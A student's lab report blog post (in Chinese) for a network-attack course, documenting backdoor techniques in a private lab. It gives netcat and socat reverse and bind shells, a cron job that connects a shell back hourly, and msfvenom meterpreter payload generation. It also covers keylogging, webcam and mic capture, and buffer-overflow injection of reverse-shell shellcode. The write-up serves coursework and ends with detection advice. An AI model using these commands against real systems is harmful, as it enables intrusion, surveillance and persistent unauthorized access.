2019-2020-3 20174308 帅嵩《网络对抗技术》Exp2 后门原理与实践

目录:

  1. 实践目标
  2. 基础知识
  3. 软件的下载和功能测试
  4. 实验内容
  5. 思考与总结

一、实践目标

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell,任务计划启动
  • 使用MSF  meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

 二、基础知识

  1. 什么是后门?

    后门是指绕过安全性控制而获取对程序或系统访问权的方法。

  1.  常用后门工具
  • Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。
  • Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。
  • Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。
  • PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。
  • InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。
  • Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。

三、软件的下载和功能测试

 3.1在Windows下下载Netcat & Socat

  从老师给的附件中下载Netcat和Socat文件,并解压后放到相应的文件夹。

  在cmd界面中运行ncat和socat.exe,若得到提示,说明安装成功。

3.2 Win获得LInux Shell

在window的cmd使用ipconfig指令查看本机的id地址,得到Window端ip为192.168.1.102

随后,使用ncat程序监听本机的4308端口,输入ncat -l -p 4308,l指linsten,即监听。

在kali端进行反弹连接windows的4308端口,ncat 192.168.1.102 4308 -e /bin/sh,使用-e选项执行Shell程序

通过ls命令发现,windows获取kali的Shell成功。

3.3Linux获得Windows Shell

在kali终端输入ifconfig查看kali端的ip地址,得到ip地址为192.168.1.106

在kali端输入nc -l -p 4308,监听本机的4308端口

在window端,反弹连接kali的4308端口,使用ncat -e cmd.exe 192.168.1.106 4308命令。

回到kali发现,kali已经成功获得了本机的Shell

3.4 使用ncat传输数据

在一切安装了netcat的主机中都可以进行数据的互相传输,我选择从kali端传输数据至window端

首先window使用ncat -l 4308监听4308端口

kali反弹连接4308端口,使用nc 192.168.1.102 4308指令,其中ip地址为本机ip地址。

随后,在kali端就可进行通信,同时可以在windows端显示。

3.5 使用nact传输文件

使用netcat的双方还可以进行文件的传输,我仍然选择从kali端传输数据至window端。

首先让Windows 端监听本机 4308 端口,并把收到的数据保存到 file1.out 中,cmd 中输入ncat -l 4308 > file1.out

 接下来,kali 反弹连接到 Windows的 4308 端口,并将 kali 端的文件 file1.in 传输过去,终端输入 nc 192.168.0.102 4318 < file1.in

在此之前,现在kali中创建file1.in文件。

文件传输功能实现。

四、实验内容

(一)、使用 Netcat 获取主机操作 Shell ,cron 启动

在window端内监听本机的4308端口,输入ncat -l -p 4308命令进行监听。

在kali端,使用crontab -e编辑一条定时任务,crontab表示定时任务,-e表示进行编辑模式。

最后一行添加30 * * * * /bin/netcat 192.168.1.102 4308 -e /bin/sh,意思是在每个小时的第30分钟反向连接Windows主机的4308端口。

静静等到13:30.

到了这个时间,windows界面果然可以获得kali的Shell。

(二)、使用Socat获取主机操作Shell,任务计划启动

在window端打开“计算机管理”。

在“任务计划程序”中点击“创建任务”。

 

填写新建任务的名称,并新建一个触发器

在操作->新建->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4308 exec:cmd.exe,pty,stderr,这个命令的作用是把 cmd.exe 绑定到端口 4308 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上。

然后实施触发条件,使用win+r使屏幕锁屏,让条件触发。得到一个cmd执行页面,页面不关,进入kali页面输入socat - tcp:192.168.1.106:4308,这里的第一个参数-代表标准的输入输出,第二个表示连接到 Windows 主机的 4308 端口,此时可以发现已经成功获得了 cmd shell。

在这一步中,我遇到的问题是在从老师附件中下载的socat文件无法使用。每次启动之后,在kali中输入socat指令,windows界面中的socat程序就会闪退。我就从网上另外找了一个socat,重新下载。之后解决了问题。

下载链接:http://olds.blogcn.com/wp-content/uploads/16/1615/2009/08/socat.rar。

(三)、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

在kali上运行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4308 -f exe > meter_backdoor.exe这里的IP地址为控制端ip,即kali的ip,此时已经生成了后门程序“meter_backdoor.exe”。

在Windows下执行ncat.exe -l 4308 > meter_backdoor.exe,这样被控主机就进入了接收文件模式,在kali中执行nc 192.168.1.106 4308 < meter_backdoor.exe(这里的ip为被控主机ip,即windows的ip)

 

主机即接到了生成的后门程序“meter_backdoor.exe”。

在kali上使用msfconsole指令进入msf控制台 输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.0.106,这里用的是Kali的IP,和生成后门程序时指定的IP相同
set LPORT 4308,同样要使用相同的端口

设置完成之后,输入指令exploit执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

 

(四)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令可以截获一段音频。

使用webcam_snap指令可以使用摄像头进行拍照

使用screenshot指令可以进行截屏

 

使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录

使用getuid指令查看当前用户,使用getsystem指令进行提权操

但是操作失败。

(五)、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在网上搜索并下载一个【linux/x86 - Reverse】的文件,用记事本打开查看里面的机器码。得到\xe4\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80的shellcode指令。

重复实验一的步骤,找到shellcode的起始地址,同时关闭地址随机化。

我的地址为0xffffd2d0。将其加到这段shellcode之前。打开一个终端,输入以下命令:

perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input1

然后再另一个终端输入msfconsole,并打开监听。

use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
show options
exploit

在原来的终端输入命令(cat input1;cat) | ./20174308ss_pwd,然后再按一次回车,在另一个终端就可以得到shell开始运行。

五、思考与总结

(一)、基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?

  安装不安全,来源不明的软件应用。 

  • 例举你知道的后门如何启动起来(win及linux)的方式?

       Windows:自启动,或者伪装之后引诱用户主动启动。

       Linux:注入shellcode。

  • Meterpreter有哪些给你映像深刻的功能?

  能够使用主机的麦克风、视频、对主页进行截图、获取键盘输入记录,这让我十分惊讶,感受到了它的强大。

  • 如何发现自己有系统有没有被安装后门?

  利用 netcat 查看有没有开放异常的端口;系统杀毒软件的检测提示;任务管理器查看异常进程;注册表有无异常;自启动的程序有无异常等等。

(二)、实验总结与体会

  这次实验让我对于黑客有了进一步的认识,体验了黑客的入侵于无形的恐怖之处。可以在随时随地入侵我们的电脑,监控我们的生活。为了防范这些,我们应该提高自己的安全意识,不安全的网站,不安全的软件坚决不下,坚决不碰;时常进行软件查杀;等措施,尽可能的保障自己机器的安全。

  在这次实验中,在还没有开始做之前,我就提前关闭了主机和虚拟的防火墙,给实验的进行减少了很多麻烦,嘿嘿。但是即便这样,我还是遇到了不少问题。首先是从附件中下载的ncat无法放进system32之中。放在那里的话就可以在cmd中很快的启动了,但是在那个文件夹中就无法运行,我也不知道为什么,只能作罢。给我造成最大困扰的是另一个文件,socat程序。从附件中下载的无法使用,一用就会闪退,我尝试了很多办法都不行,只能在网上重新找了一个下载,下了非常长的时间~下完之后,该问题得到解决,很开心。在这次实验中,如何提取window系统权限这一步还是没有实现,这是比较遗憾的一点。

  总的而言,这次实验难度不大,在参考了其他同学的博客和询问过同学之后,很多小问题都能较快的解决。通过这个实验,我对于网络安全有了更深的理解,在做实验的过程中,又加深了对Linux系统的操作的理解,学到了很多东西。

posted @ 2020-03-18 11:30  20174308帅嵩  阅读(133)  评论(0编辑  收藏